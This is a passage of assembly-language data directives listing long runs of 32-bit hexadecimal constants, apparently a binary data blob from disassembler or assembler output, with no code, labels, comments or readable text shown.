7BC837FAh, 4F682801h, 0EA3A0B21h dd 5DE06042h, 0BB7B76BFh, 16D34600h, 0BE4A863Dh, 613C199Eh dd 20562864h, 0DD0C01DCh, 30179FBBh, 97EE68h, 91E24187h dd 65C3B585h, 0C2001AB0h, 0A8DB2469h, 142E58Ah, 9B447EEBh dd 6057300Ch, 0F0E3412Ch, 0B00033D1h, 9596D4F7h, 8E0DB1h dd 518CD98h, 0F9E12FD0h, 6D7F2300h, 2BDBA96Fh, 94B21DB4h dd 7B017C7h, 40DCD973h, 5331B615h, 43A32800h, 0C297D11Ch dd 617717EDh, 2CC0004h, 3C2B5205h, 91735774h, 0D7A93600h dd 647929ABh, 245A00F1h, 0AA5CB2C1h, 0CE006FBAh, 0EB66EF37h dd 0CAF632h, 0A12AF0BCh, 0A87D5374h, 0B9085C07h, 62601960h dd 64E55Fh, 0FBD878ABh, 0B424763Eh, 91F44A50h, 9280E607h dd 9000E043h, 5E995A8h, 50F5EC4h, 0E5C08038h, 0B500B414h dd 11D0DDABh, 15B27Fh, 7CCAA8AEh, 281A430Eh, 0BB582B00h dd 66C48F78h, 0BF470067h, 5F0AAF5Eh, 3D003123h, 0DF40102Ch dd 5CBA9C7h, 7413CC19h, 81F30016h, 0AB77C1FAh, 5982E800h dd 6A1F4961h, 4D10079h, 4703881Ah, 7400BB20h, 0B8D6E1FBh dd 7D67DEF8h, 0FE1A01AAh, 0DDF26B7Eh, 68F7D42Eh, 0CC378324h dd 32BD4305h, 0D552F381h, 0B0C8C5C8h, 81F4B3C0h, 7E768D0Ah dd 4792206Ah, 0A74D4200h, 96C8CF58h, 1AE2005Fh, 15FB97F1h dd 440EC3A5h, 0C3B41D53h, 0C8DCCD52h, 3ACC9293h, 7078703h dd 7079CA0Dh, 0A9BD6E5h, 9AA39803h, 0D85EF131h, 922319CFh dd 0BB5D00BCh, 54ECD8D6h, 0E40037FFh, 6D3A7C9Dh, 1C4FF7E6h dd 540BBC92h, 2300E3CAh, 0D8B0B212h, 98017780h, 0AA3B4D0Ah dd 26FC69A6h, 17920004h, 0F6186127h, 0F700C168h, 0FB483BB7h dd 39675Dh, 0CF3110B6h, 0E5A9D6D2h, 0AE00E877h, 45BCB2DAh dd 0A2034Bh, 945A5E0Ch, 0AD2674B7h, 0F1EC1C00h, 77DDD5E9h dd 458100DEh, 62EF1848h, 71FA19E5h, 7F5CC0A0h, 0DDC18300h dd 0D1818C9Ch, 0A7C61D90h, 45B14B6Eh, 955B3600h, 36078097h dd 4B122B39h, 2D6DB320h, 0F62A039Fh, 0A003F966h, 55E5C0F5h dd 7015923h, 94E6D97Eh, 80DA6AF7h, 8ACB28D2h, 8854000Ah dd 2DF6A8B6h, 0D80409FBh, 73448BE8h, 8377B6C0h, 0D9050095h dd 6F2F0890h, 76000349h, 132CA656h, 1A3CE1Ch, 0B6FB14A2h dd 6026ED5Eh, 6348B82Ch, 6EB30010h, 4F9C4866h, 0E1970111h dd 0DD8F6065h, 0F9F0E849h, 4E692900h, 6BAC3A5Ch, 0A9BD0707h dd 0D07D6A3Eh, 9A468A77h, 8F722100h, 0E678C11Eh, 83D5003Ah dd 5FA90222h, 4B02E12Bh, 0B95B1C7Bh, 0A8064015h, 2A5C07D3h dd 501A668Ah, 0D13BFF70h, 8000090h, 13A67A2h, 1806BEFDh dd 2AD31016h, 5500DE7Bh, 263046F6h, 19B9064h, 0B1016304h dd 0F88E2D25h, 586053A9h, 0E8C618E8h, 8F680238h, 292B95E2h dd 8D60AC80h, 4639EE1Eh, 0A254800Dh, 43AA11DAh, 72F96055h dd 6153BF9Eh, 0A4831A00h, 0F1568271h, 41BC00F4h, 0DC7B72EEh dd 3A71CC0Bh, 0CEC15Ch, 2EED8319h, 0F89D6B4h, 42FE1730h dd 46137018h, 2A16DE71h, 38524D78h, 70564004h, 600F0h dd 13670580h, 9E28B7E1h, 54495A00h, 55BF7B27h, 12F2DCh dd 95BA8DC5h, 6946844Fh, 0D5903C1Dh, 737B9F87h, 4DB3DCF0h dd 0B8A6016Bh, 61811062h, 750CC8E8h, 9C584B03h, 0E0AC2002h dd 1F88A530h, 64CF0194h, 0CEB540D4h, 0B390A08Dh, 0D1147CFAh dd 0F8ABD0Fh, 40611834h, 64823066h, 85FB1D84h, 0BE4D47B8h dd 0EE202F0Dh, 31AF362Eh, 0EAAB6501h, 1FF847DDh, 0B224E30h dd 51BBF953h, 35670A82h, 0F03FF8E0h, 0F3A2D100h, 0D87F0AFFh dd 33180099h, 94F53C5Fh, 50015878h, 5731356Bh, 37D4C921h dd 0F49E04Eh, 3B97383Ch, 4FA5807Ch, 73F2A353h, 0B2F1600h dd 0D269F0ABh, 15B400DFh, 4DF8E1C4h, 8400D8AEh, 78913A9Dh dd 0EC21A2h, 41CDB425h, 0E79F6AD9h, 3600F3FCh, 8E748FCBh dd 549B0330h, 9A0E413h, 0A4CF78F9h, 2FAF5900h, 0A70261D0h dd 0B281CDA5h, 91B46838h, 0D1BA00FFh, 0C07EA0B5h, 8F009BF4h dd 0CA126ECh, 0E29C997h, 49621F7Bh, 53C80052h, 725DF874h dd 447CF700h, 5CDC5E85h, 0ABC1162Dh, 43640148h, 0DC6C32C7h dd 1E04FBCAh, 2306C0C3h, 15B78F0h, 9F54AE5Dh, 6052E33Fh dd 0E1009D97h, 0DCC1EB15h, 3D6C57Dh, 0ED2FD156h, 808DA14Dh dd 0CCD78C96h, 0A458FF01h, 36C7DAC1h, 0F0259BD7h, 9CD35E20h dd 5F608040h, 0C844F5BEh, 6840789Eh, 8C16A4h, 0A5037E5Dh dd 3A6F39ADh, 0DAFFE71Fh, 0B51D1500h, 8BF0C9h, 87725596h dd 0D501129Fh, 6102CC00h, 117CB037h, 39C61305h, 1E0800D8h dd 0B1B85A84h, 0D97CFBECh, 0E2C31500h, 28018D68h, 0B656060Bh dd 0C0E49B58h, 0DC265A00h, 4CBB6BB9h, 0F5D203D0h, 0E74E3252h dd 0D814BAF8h, 624F471Ch, 503E2900h, 710607h, 1032A67Bh dd 0B18B617Dh, 1A96361Fh, 0ECC9F640h, 1DDF93E0h, 149E51h dd 0B7A8C22Ch, 9813A733h, 7000F0A1h, 43155CFh, 923D1F71h dd 349BC3BAh, 0BFD106B3h, 0AC62D098h, 777B2C01h, 0D1331CB2h dd 16B322F8h, 20FFD566h, 4301CDF0h, 0A00F2A05h, 0EC802034h dd 8FEE405Fh, 0ACF90780h, 0FC30B9h, 2471695Eh, 3236E28Ch dd 0E6024971h, 0FAADC553h, 65989881h, 27571E5Ch, 0B38DC09Eh dd 733A1808h, 100D8B8h, 9771D702h, 0FB805B4h, 54830B5Ah dd 0CE41BF40h, 2100DB6Ch, 49A5B909h, 2FE4B5h, 0E0549340h dd 67BDACE2h, 7F3A7100h, 7E6B0B9Eh, 0CDAD3A2Dh, 0A4316280h dd 50660A77h, 7680B602h, 0C1485869h, 9DC02739h, 2C0F2BCh dd 0A38FCD4Bh, 0C740357Ch, 0C30019ECh, 98ABDC24h, 97553F7h dd 1E05625h, 69E9DF00h, 557C5F4Fh, 0AE1D9C73h, 62802960h dd 264B9222h, 804800FAh, 0EB23AF30h, 0AA0EC879h, 61E458E9h dd 0D5A3AEC4h, 7955EF4h dd 38786726h, 136A30B4h, 34EE4302h, 41B3AD0Eh, 8869E0C0h dd 0BC0AD0h, 0CC9F312Ah, 107DAC6Eh, 0AEE9EF1Dh, 756A59C0h dd 0B88754BFh, 2AE20F1Eh, 0AFC08628h, 6B8DA6D4h, 0C0DCED00h dd 2CE5521h, 291200BBh, 0B98E3B60h, 0C7002562h, 66DD7684h dd 0C9F00Fh, 343D568Dh, 44894840h, 3C0BF600h, 51463BB1h dd 80E5006Ch, 4CEB4712h, 0B20E3784h, 0A19D34C4h, 94BE5C73h dd 0CA30D0h, 27EEAF39h, 0AE54326Fh, 0B0122117h, 9CE29007h dd 606A4D32h, 533E87h, 0D84209B1h, 5FBEBA0Dh, 0FC77D600h dd 0A4A9F790h, 920E2E64h, 713D0179h, 0EA11DD4Fh, 99C9F5C0h dd 16003190h, 412915D5h, 89B0E7h, 4A77421Bh, 9A1D6C7Fh dd 0E8205900h, 8D0BEFEh, 67B4003Ch, 0C6833652h, 0F40311C2h dd 0C39940AFh, 379CC835h, 0BB7A005Ch, 18576E10h, 0BF04A007h dd 0BE08D965h, 2D123C80h, 3F687411h, 8B8C414Fh, 7B7049BBh dd 6B3AAC01h, 963B11FCh, 0F572CF4h, 7FC021D0h, 1E68E7h dd 2F594127h, 878D513Eh, 6B286FC4h, 4C69DF90h, 2A40026h dd 0FC92E1D3h, 0A6002EC8h, 78218398h, 8A39439h, 7A536B9Bh dd 0FDE1CA0Eh, 6131EF1Eh, 70F03DB4h, 76100F3h, 0F5FB8504h dd 9E033892h, 0E9FF1272h, 6C30009Ch, 0F0A9B3C0h, 2E00F3C5h dd 0ECC30B47h, 0DDE1EDh, 172086EBh, 0E43A2DBBh, 13C2B900h dd 0F7E04C0Dh, 1801002Eh, 0AD0A5F5Dh, 340044D6h, 60EAF259h dd 0F2DEB540h, 0BC7E0025h, 5FD3804h, 730017EDh, 0DD868576h dd 32D2845h, 783CCE2Bh, 0BFE8D20Dh, 4716A50Eh, 7C00354Ch dd 2992E356h, 66871CCFh, 0B50D00F4h, 1C99E273h, 8403F300h dd 0D0460C64h, 0BA7F24Ch, 86432DEDh, 88074100h, 5B008714h dd 5CEA5629h, 906EE044h, 0BA123D76h, 0B659AE80h, 19F3875Ah dd 0E005542Eh, 718A9900h, 0E5276Ch, 557D8593h, 347751BDh dd 743818E4h, 0C26A8ED6h, 0C9D1207Bh, 607CE1F9h, 65EF10A7h dd 5D01FE9Fh, 0C4D68B76h, 0CFD105E6h, 9493D0h, 1E19C223h dd 0EB657AF3h, 57D58300h, 0B599C374h, 85D60071h, 26AF9DC7h dd 221F2D1Bh, 8080B3FAh, 958D6486h, 396D0FB8h, 53002B32h dd 2AE0B09Ah, 5F7E7909h, 90798038h, 39DC5BDh, 246691A4h dd 0B6A7177Bh, 5100917Ch, 0C264CC43h, 6C4A1Ch, 0A5798B4Fh dd 7AF25EC5h, 787DE978h, 42D68F03h, 0E1147758h, 37EC619Bh dd 0E3A909E2h, 3C003E06h, 7F1E7670h, 921AA0C0h, 6C78BDh dd 2BCDD014h, 0EE5E4A7Dh, 59F31030h, 808E81E0h, 3847694h dd 0C288B298h, 7BB272E5h, 0D5FFE20h, 5E1A102Ah, 6ED181CEh dd 49712986h, 0FCBC2C10h, 0C4708091h, 0C084144h, 0E3B1C127h dd 59C26CA4h, 309A73Ah, 4AE42C7Ah, 5E8A8889h, 286184B6h dd 0C0078ECh, 0F488431Dh, 589C6271h, 5887A6EAh, 235E422h dd 227AB726h, 4A22A3C1h, 65BC407Ch, 0D212180Dh, 0A564C0E8h dd 6CC03100h, 2AD87FB2h, 4A0900FCh, 192BE99Dh, 0D62E95DDh dd 400070D4h, 0F3B19FABh, 389B1E1Eh, 8F04A617h, 0C940D07Ch dd 60B64179h, 80854A00h, 0A586A071h, 0B97D079Bh, 404509E7h dd 3C928A8Bh, 1D002B71h, 0A06C566Dh, 0B29EF23h, 54FB935Dh dd 0B39D9F00h, 0CB0094F9h, 1E397361h, 49870Eh, 83485157h dd 0D97A585h, 0BA216E01h, 0AD9DF971h, 0F4106D0h, 34A91635h dd 0E7E6DBC0h, 360066E9h, 0FDEA45Bh, 70EE1BFh, 1B37AFA1h dd 82AC131h, 1802CB8Ah, 14CF0CD6h, 0DC00608Dh, 33F203C5h dd 0C7390B16h, 0F13861F5h, 75F80C40h, 9BBF018Fh, 0E3EA2303h dd 14CBC869h, 350E2B00h, 349F0DCFh, 3C780016h, 0F0BD98D6h dd 0B503CDA1h, 533606CAh, 2C0AB868h, 0FF82002Bh, 18E35B3Bh dd 0BB0B7D79h, 2AF1CBh, 918C9FB2h, 976900B3h, 5B208B2Fh dd 5026766Fh, 980009CCh, 73AF315Ch, 110616DDh, 821D8022h dd 0E4008835h, 0D9C06862h, 1CBD097Fh, 0CC993113h, 0DDA82C15h dd 4A0086F4h, 8DA4FC43h, 7D7E69h, 6C37F347h, 803F4EB9h dd 0EC524200h, 3D4D54A4h, 1C9E0044h, 906C09A9h, 0C201C1BBh dd 0A3DF4723h, 0C7F0F793h, 0A793A0CFh, 7F8D00E7h, 0A294E0B9h dd 2F38B8FEh, 7DF0808Eh, 933BBF67h, 3F0577F1h, 0E5810990h dd 99D6A66Eh, 50E17028h, 0D358C41Dh, 65BD3681h, 0AA41DA32h dd 0FDF490DCh, 0EA7B0C8Bh, 0D590B8C0h, 0BE7A367Eh, 920029E8h dd 0B11C8BCBh, 0ACD201h, 3E02AB75h, 187C824Dh, 928D3900h dd 7348F2BAh, 7E1F3D55h, 0FA87713Ch, 850C1D87h, 3FF200C2h dd 78098B03h, 1ED6F518h, 39CF80h, 2CF1F468h, 28735919h dd 15A2B701h, 35759F89h, 1886E1C4h, 0B07923EFh, 0FB00914Dh dd 3D0C45D7h, 3EF2F0h, 0D03AAA71h, 331FE423h, 0F352EAF8h dd 50580088h, 0C319A2D1h, 0F3EF842h, 0C4EFE078h, 556EA7C7h dd 17D7C0D4h, 9B006C8Dh, 0EB80C9DCh, 0B443CFh, 0A75ED1DAh dd 247087D2h, 2E12B000h, 0EC9B6AA9h, 0BF6B0015h, 0F990D10Ch dd 1E002351h, 0E2A69944h, 7C6CA5E1h, 24634CC6h, 30DB3F02h dd 84875B9Fh, 0E6EAC093h, 291D9539h, 784038F2h, 0CC9D240Fh dd 0FF1B0031h, 2A14632h, 0D3E3F325h, 201610E3h, 5F1D992Dh dd 576B0847h, 2BA0C321h, 608003DDh, 0FA73BA1Bh, 30C015EAh dd 93DA2367h, 8CA61C98h, 7E4E40EEh, 89F228FAh, 0B03C5054h dd 511BEF02h, 11030564h, 422180A7h, 0D666A2FEh, 28A8140Bh dd 1F0C924Dh, 0EC2049F1h, 9B954801h, 7D46A755h, 1C4C5FCCh dd 40DCF4D7h, 0FC09DA3Dh, 5C00915Eh, 1E51667Eh, 13E9D18h dd 4706819Fh, 0D809A562h, 0A203EB95h, 34F7018Ah, 0FF1024E4h dd 872000E6h, 9EA55936h, 1F19FC01h, 29BD7772h, 3C650630h dd 0C8004484h, 0D7D55685h, 76006BE7h, 0AD4139DFh, 1683445h dd 0ACD62A9Fh, 4020FEB2h, 0FBF00A99h, 8DB73700h, 0DAFD6C34h dd 185E3BA6h, 27F8C489h, 533F401h, 0B2AEFCDCh, 0F7D76603h dd 0E067DEF2h, 71B1FEC4h, 0BF761Fh, 0E3B32998h, 2A1C2E94h dd 0B2384B00h, 3D3C80BAh, 0C1F90083h, 1008F025h, 0B71C290Bh dd 0C6808602h, 6EC06F90h, 83BE0359h, 0EFE9C1F8h, 38282800h dd 80A50F32h, 111F0081h, 58CFF1Ah, 0C800ECCAh, 0D5EE0A52h dd 72D2F94h, 235C242h, 0EC3F1093h, 52388CCEh, 4523007Ah dd 50BE85FDh, 223C0084h, 9EF215E5h, 0EE006AE6h, 0C97BA83Ah dd 51DA6Eh, 5CEBBE7Ch, 3E7E16F7h, 57B54300h, 3158A9CBh dd 0CD950077h, 0B7992CDAh, 7B007E2Dh, 4B3B63A7h, 0DC5C14h dd 9BB807F4h, 0E628B4AAh, 0B1622C03h, 0E86F22E1h, 0F60B03C9h dd 0B30F0050h, 204C7BAh, 0C500EBCEh, 78E08053h, 131F8C1h dd 0BC01391Ch, 0E8D7909Ch, 1A00A9FFh, 67860828h, 0FE855616h dd 8D512CD4h, 40541E8Ch, 6B38AFF7h, 0A603E568h, 30CBDFD2h dd 42F0F0F2h, 3910EE13h, 20803D36h, 5C6A094Ch, 0A202C4ECh dd 0E2287B3Ch, 6D51600Eh, 0EAB06Bh, 5AD1B007h, 958999A0h dd 87C55200h, 3E055430h, 147A0708h, 104C9253h, 78F92B2Dh dd 0E44E34Ch, 0C0AFD95Ah, 0BE497333h, 58790098h, 50FB8506h dd 3800DFFFh, 715B5E56h, 13E8E41h, 46C46FB5h, 0E404BC25h dd 8B001F22h, 34265D36h, 7545A0ADh, 0C3D0E29h, 6400E408h dd 8E954AFFh, 1CAABF00h, 5E41EC10h, 0BA8809A5h, 0FE5C6E59h dd 0DADCE00h, 0F238291h, 0C268560Fh, 4435805Fh, 0E2131FC0h dd 569D600h, 18FDB1CCh, 9303007Fh, 3B96E4C4h, 0C690D56Ch dd 1999FC00h, 8D88724h dd 0FAE60715h, 308C02FDh, 0F32FEE5Eh, 849948h, 0E3B5120Ch dd 138CBCFh, 9F07466Ch, 0C84330ACh, 0E809028Ch, 1962EBh dd 116FDF7Ch, 21BA00EAh, 513377BFh, 420FB332h, 0A00563A9h dd 998B6BD8h, 2C9807D5h, 0A03F916Dh, 759E64E4h, 6A243001h dd 32C4F4F2h, 1CBC0BC4h, 0E6AA1408h, 0DFEB0088h, 9B2A3760h dd 881EEEB8h, 0D7C0DCE7h, 0D8A0D435h, 0EE871E92h, 69A481CDh dd 0D8369D09h, 0D275985Fh, 0D97EB1F0h, 77022AE6h, 0F1C6453Ah dd 0E0F043ECh, 0B838E576h, 721022Ah, 1EA1CD5Bh, 17DD3FC0h dd 0B048F100h, 0DC07063h, 1C870105h, 2CA3B2D9h, 0D8A06A78h dd 15183821h, 9F1B680h, 4774694h, 2D7DB07Bh, 70C2D21Ch dd 0F1B8ABC0h, 2AC9E5h, 68A45297h, 0C095E90Bh, 0FF7AF00h dd 0AAE0DB5Dh, 739B00DDh, 2544C57h, 0D600832Eh, 9A407151h dd 0D470C5h, 0F13D86B5h, 61AA3389h, 0EE69D509h, 0DE64A180h dd 0B04094ABh, 165DBCh, 0D5DB0A7Fh, 44A9F8F1h, 2E7BC100h dd 0F5EDF211h, 0AB5C0B97h, 9B004347h, 0E0A97593h, 0E995D300h dd 78E4D7DBh, 0B2E813h, 10FF1E36h, 0E3BCBBB3h, 804B8839h dd 0C1E0BF4Fh, 0CCE556h, 4CFAC97Ah, 577B871Dh, 0B3354207h dd 0A4508813h, 7D2EE924h, 27DF00DAh, 0CA8AE8Fh, 0B200214Bh dd 676A1086h, 2D277A5h, 0DE57F1FCh, 7EC05FEDh, 0E50ED04Ah dd 0C09CDF42h, 5B437796h, 0AA7C00B4h, 0F29B30EFh, 1D77B54Dh dd 0C60D2B00h, 0A4CA4B32h, 0FC9F411h, 0DFE984ECh, 6CC10C40h dd 0DC095650h, 0EE29343h, 0ACC38004h, 0F13D858h, 0FC3C45EBh dd 0B0769920h, 0C707839Fh, 0AEDEAB9Eh, 0EE5E0FFBh, 0E13080CBh dd 7619254h, 0B6A7A313h, 0CF05E05Eh, 0DC00833Fh, 0A886D2ADh dd 0C0242D6Ah, 0B448A940h, 623D46B0h, 0F8DC0293h, 64AD7945h dd 930E5044h, 0F6A700C9h, 0E8E7CE23h, 0E20A271Ch, 865E3352h dd 0D452851Ch, 20EF2C00h, 1F9039h, 5FB3138Ah, 0E8266E9Eh dd 7D60401Dh, 1528F07h, 0B89D510h, 0BA1500F9h, 65047CD6h dd 0CD00C7FAh, 953114C5h, 601AEB57h, 613BA676h, 0A61F8C64h dd 70848469h, 84C0500Dh, 6739B1h, 0D009C782h, 2A06CEDBh dd 3544B300h, 0D8E39801h, 58D203AEh, 0AC1FCBA7h, 806F583Fh dd 72A29A70h, 39AFCDh, 364ADC5Bh, 0C4B202C8h, 2100E276h dd 464D954Bh, 98D764h, 0B54E2A80h, 0A5E2D258h, 0E5E87900h dd 99D5E9B7h, 0A4C50068h, 0FFE68947h, 720058BFh, 4820CD44h dd 5C114BC7h, 0D10023E4h, 79C45DE9h, 131C4EFCh, 0DAD6A537h dd 82B2D400h, 15B0354h, 0F7583638h, 0E4461702h, 0AE700524h dd 72821C01h, 0E63665FEh, 2198D70h, 6AFD9754h, 8840529Eh dd 300302Dh, 92BB665Ah, 769025h, 58AF862Ah, 9BAA6E49h dd 4000D1F4h, 4B7032E2h, 0C15337h, 4A2C22ADh, 0FB576B67h dd 8C15AB02h, 40C79727h, 11C5BEBh, 563B8359h, 0EC5D47E6h dd 164C93B2h, 0FE6F1DC4h, 4EA30841h, 75FCB6BFh, 123D09F7h dd 0E4808DE9h, 0A37ACFBAh, 0EB5CCC00h, 0C46990Fh, 0CBD80B85h dd 7C908970h, 380033F1h, 1FDC14D9h, 1AAFA6E7h, 0E09DC8E4h dd 5D2280D7h, 625437h, 0B053453Bh, 0FAE1E3DFh, 0EAAE40C1h dd 0CAFB504Eh, 98A84132h, 0BF35E4h, 8B7F46DDh, 64F1A75Fh dd 0B38FDF01h, 0B85A445Eh, 0CA317BCCh, 37E89031h, 738C4091h dd 8053B13h, 1DAFC88Ah, 39CE2C1Dh, 0EC168006h, 0E8D08BEAh dd 1700026h, 13E14886h, 92003293h, 3C69BB39h, 1DF2BAEh dd 73E3D7Bh, 60782097h, 6A00F8AAh, 3F566572h, 1C66D23Ah dd 40A21295h, 0AF674049h, 0E9E60F62h, 2300FFE6h, 88AEE131h dd 1EC3DD04h, 0C071169Bh, 81673890h, 0B7158262h, 0BCFC6Ch dd 0A97EB21Bh, 1D8E44A6h, 0C376833Ah, 0B1FF01CDh, 5B16C800h dd 5D50CBB0h, 1C1A3930h, 8E486100h, 0AE37518Ah, 57A7390Eh dd 2231C0DFh, 386C94h, 6945938Dh, 16D1DCE1h, 0A8C09907h dd 0C9FF882Bh, 58998095h, 0CD19CEh, 0F3D43A6h, 0A9D12574h dd 21E8D018h, 30D2F0A0h, 2B283B56h, 0FB584504h, 8DE8030Dh dd 0D082C3A6h, 5F1FFh, 59CE432Eh, 0C96A8BC8h, 0BCAC5A03h dd 2A02BFh, 2F3EECE8h, 98842103h, 0F068E23Ah, 23B67D0Fh dd 3941DE5Fh, 5B1C689h, 901D6D4h, 0AA163332h, 0FB5F9100h dd 5E0EFEB0h, 38F56Bh, 0E1064CD8h, 1342EA0Ah, 0E13EA854h dd 0F18A300Eh, 881ACA03h, 9838D417h, 574A34h, 0EDFC539Ah dd 8AE0E3E5h, 3BDC100h, 48C7524Fh, 2F340BAEh, 3E005E7Ch dd 0ED0A6292h, 554FBD0Fh, 8A6BA122h, 0C240406Fh, 13DCAB54h dd 0E9A69BAh, 1460346Bh, 0E14CDE49h, 0E73B100h, 0EB2C57FFh dd 3CE20037h, 9FB57A4Fh, 2A000D3Dh, 5E6114B1h, 6A8D4h dd 7C1F71E9h, 0CC31AB12h, 0EB95AE06h, 11F661h, 0D5830E54h dd 98566D71h, 91AFDE12h, 0DF2A580Eh, 4E5B00FCh, 4365EAA7h dd 1DF00B7h, 798E4D50h, 0FF00AC55h, 0D47677B8h, 71025B6h dd 0B72EB021h, 0D841E04Fh, 0F000ECA5h, 0E57860AEh, 0F9F0Eh dd 9E44764h, 0C397DB5h, 0C5302D60h, 0D96AADh, 60070AD0h dd 425CCE1Bh, 0AF43E600h, 978E2603h, 382AF821h, 0B20FBD7Fh dd 17DC37h, 84429B75h, 7E06725Bh, 671AC644h, 2F7C00B0h dd 0A367874h, 0B60066FCh, 55E22364h, 7293B45Dh, 0AD96070Fh dd 0A07D6310h, 9BA05071h, 45979F01h, 0C58349EEh, 38A003C3h dd 0E5E10B7h, 11A5B100h, 0E32E13C4h, 644518FFh, 5C8C29D5h dd 0F4001471h, 0C67851A6h, 0E81C494Eh, 63DE25Ah, 3CFD44BAh dd 0EF0030A9h, 0CF26714Bh, 786BFFCh, 0D3C17283h, 8F519018h dd 7C03CB40h, 0E6545227h, 0C142AAEDh, 90BF5991h, 33A5B203h dd 0C5C0342Fh, 0B3003664h, 0AC7606A3h, 77B9DB2Ah, 0CDCE0093h dd 0C5C64E5Ah, 0E238087Fh, 9FC88062h, 0F27AC2B0h, 4F290010h dd 998A4DEBh, 8000387Eh, 91D5519h, 0FD4726h, 0EFA2A1A7h dd 0E73A7710h, 936BA300h, 0B6BDE1C1h, 34A700ADh, 0B0222C37h dd 0EE0066DAh, 7CC7A647h, 0EFF885Ch, 4169A09h, 734AD80h dd 0B9F4EBE8h, 970BFD0Ch, 7C4D18FEh, 694F00A1h, 1CF68C1Ah dd 7100AA44h, 0C5D9F2C1h, 3F4A8D66h, 18FE79E5h, 38139DC4h dd 0C200C947h, 52E440AAh, 24DAAEh, 34E8C43Ch, 1B9629Dh dd 0AF020903h, 0D26DCDDBh, 231D2016h, 0A704810Eh, 97F26952h dd 8F03F4C3h, 490191E0h, 6C1C0012h, 0F28E5FA1h, 561C401Fh dd 0EC5C8075h, 986811C0h, 12F122Dh, 67FF078Fh, 0BF521829h dd 1FE44F0h, 512DCAF9h, 0D080E30Dh, 0CD7F27DEh, 77000E72h dd 3407D670h, 75BA2B13h, 9E7E487Dh, 0F918800h, 0E8FB12A8h dd 21486200h, 8375EED3h, 7C570E8Bh, 7B40C165h, 93318245h dd 0A1FE6B0Fh, 87A0EB6Fh, 39D010AEh, 613304C5h, 81D85968h dd 0E573D093h, 71F53B00h, 0CCA72B89h, 26A80F6Eh, 1280C2EFh dd 0A498FC78h, 0AA8FD800h, 0FFC88E7Fh, 0C9EF0047h, 3F365228h dd 0D700DE91h, 0DB872F6Eh, 0F8CDC209h, 8EF0DFh, 6539B59Dh dd 9FE7D50Fh, 0ED1D2100h, 23A05A7Dh, 509D00D9h, 5B32A585h dd 20A586E9h, 0D4670284h, 0BEE91530h, 72B31600h, 2A04E671h dd 1DCF657h, 0FA3D769Dh, 0DC9EBC82h, 0B076F73h, 0D1B5AA83h dd 16545740h, 0F88A079Fh, 2FB0A09Ch, 74548C0h, 0E40F56BBh dd 54848Fh, 9C65BD7Eh, 0C6F781Dh, 57E953BAh, 88E2C108h dd 8669E600h, 296D0F9Dh, 3B617D91h, 85986A03h, 0F92B299Ch dd 63E50B00h, 7E40FDA4h dd 0AA9D0012h, 7F6297EDh, 8A00BA48h, 70DFD31Ch, 2A0BE6h dd 9D74B953h, 2E35DC61h, 0A38FF403h, 0DB950Fh, 2BD77DB8h dd 0ECE097AEh, 0B8799302h, 9854035Ah, 23A01380h, 86C1BF05h dd 0A470D228h, 0F94F44Bh, 0EBEC1247h, 73895F87h, 0B3E06EA1h dd 0CF1C932Eh, 0F4F3F2Ah, 6710A0BAh, 0FC6A492Bh, 0C18B0057h dd 0E5F45F52h, 9D009F02h, 0DFF3EA05h, 450F90h, 7D001C5h dd 0B83384ECh, 8CAA9C00h, 5A2563ABh, 208A52F7h, 92AEE082h dd 7C22AF18h, 991C0E31h, 896009E8h, 849C12E6h, 0B8A052E8h dd 0A0001666h, 0F5E071F1h, 4C7E9B78h, 1F01E8AFh, 0F83E2DEh dd 0D77EC2Ch, 0C2165100h, 0C5955A52h, 7690F2B9h, 4787A146h dd 7C4C43EAh, 8CB098h, 21C45FDEh, 0A2267637h, 241B5D0Ah dd 0B626B8E7h, 0DB00C117h, 747EDDDBh, 0AA79388Bh, 0F8D4E782h dd 0F481AB04h, 60BDFB73h, 660730AEh, 89817E33h, 0BA68D84Eh dd 50A65859h, 614CC93Eh, 0D626DB03h, 0FC0A582h, 2B7B5592h dd 1BB5101Eh, 3E8A8D07h, 60B5A8CAh, 830D4081h, 8021B89Eh dd 6BDCDE1Ch, 0F30005CCh, 0D32E042Dh, 76958C72h, 414604F1h dd 801FC598h, 0B62C3A3Ch, 0E16820FFh, 0ACB48F24h, 0C4221303h dd 0D018607Eh, 38CC539Fh, 838BF8CAh, 33A7A300h, 0FA095Bh dd 0A0F1F3FEh, 0A2B9A927h, 0ECBF1207h, 0CCA020D1h, 0ADEB50h dd 0C6495951h, 7BB335BBh, 0D55F2E00h, 6A85B19Bh, 4FCF0028h dd 6DBBF542h, 0AC0001EAh, 8F2D5D4Dh, 3F03C9h, 982AE948h dd 6A53BEDBh, 3DC7C601h, 6E9A1FCBh, 9709FCh, 3BDA417Eh dd 0D40206DFh, 0E707A607h, 0AC40D35Ch, 0E043474h, 394DEAB1h dd 8430C780h, 1700FF01h, 9227AC02h, 7CE3B2B5h, 2B850F0Bh dd 0CF4054E9h, 77AF48B3h, 0F0426500h, 41DEC361h, 29FB003Eh dd 0ABCEE53Bh, 4D98D51Ch, 4704D200h, 720AA25Eh, 0F3B8C7h dd 3D5776A8h, 0A4F956E7h, 0B5854600h, 7ACE21D2h, 2778DFh dd 2F38F087h, 7AC565Eh, 0EB77490Eh, 2D678015h, 0CF52FFC6h dd 7240E7A8h, 97FC05A3h, 3F04B800h, 3D8CBF8h, 8E0800D0h dd 0B6B527FFh, 6519FADDh, 0A7C3E6Ch, 0EA25B9E4h, 20700210h dd 8BD63F8Eh, 8E4CFC0h, 5148B007h, 484CA47Eh, 0D3090005h dd 0B33C538Eh, 0E5F8A796h, 0D7B4C61Ch, 59E000BBh, 0E2E333ECh dd 5F5700D3h, 3F3C3E9h, 879CE09h, 746D940Fh, 98E3208Ch dd 0FCD3726h, 0C7B9E615h, 58B76EE0h, 1E01E443h, 0A51B487Ch dd 90E7E884h, 771FA23h, 0AE08CDD6h, 0F5801EBCh, 4614523Eh dd 0CF86A00h, 0ECB2C923h, 0B4C8000Fh, 7E066122h, 330053DCh dd 0C31467B6h, 0FF54CEh, 0E28656C4h, 0A68790EDh, 5D7A3B00h dd 98B748B1h, 4C6B1CCCh, 0E58C069h, 0DC633AA9h, 55C52500h dd 26F93D11h, 0B068C0B4h, 1AD4A350h, 6D16F202h, 0C080CFA2h dd 0FE935508h, 59E249h, 42F6E0D2h, 82417101h, 23DF5F00h dd 652E0DE3h, 813D00A2h, 2059F780h, 760E1AB7h, 83D63A91h dd 0C095B229h, 7850402Eh, 6DFC0059h, 4B3D9788h, 162E9CBBh dd 1C03314Fh, 0E109284Ch, 8C80C665h, 597311BFh, 1D36372Ah dd 14011A8h, 913BA081h, 8085792Bh, 0E3CB5C48h, 